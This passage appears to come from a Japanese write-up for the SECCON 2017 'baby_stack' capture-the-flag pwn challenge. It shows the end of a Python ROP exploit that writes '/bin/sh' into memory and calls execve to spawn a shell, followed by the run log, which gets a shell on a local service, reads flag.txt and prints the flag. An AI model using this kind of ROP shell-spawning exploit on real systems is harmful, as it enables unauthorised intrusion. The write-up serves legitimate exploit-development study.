buf2 += p64(pop_rdx)
buf2 += p64(0x0)
buf2 += b'a'*0x38 # add rsp, 0x38
## rsi = 0
buf2 += p64(pop_rsi)
buf2 += p64(0x0)
## rdi = "/bin/sh"
buf2 += p64(pop_rax)
buf2 += p64(bss_addr) # initialize rax with bss_addr
buf2 += p64(pop_rdi)
buf2 += p64(bss_addr)
buf2 += p64(pop_rax)
buf2 += b"/bin/sh\x00"
buf2 += p64(mov_rdi_rax)
## rax = 59
buf2 += p64(pop_rax)
buf2 += p64(59) # execve
## execve("/bin/sh", 0, 0)
buf2 += p64(syscall)
conn.sendline(buf2)
conn.interactive()
実行結果
mc4nf@mc4nf:~/ctf/secconctf_2017/pwn/baby_stack$ python solve.py [*] '/home/mc4nf/ctf/secconctf_2017/pwn/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to localhost on port 8000: Done [*] Switching to interactive mode Please tell me your name >> Give me your message >> Thank you, Please! msg : Please $ ls baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 flag.txt $ cat flag.txt SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}
created 2022/2/13
updated 2023/2/28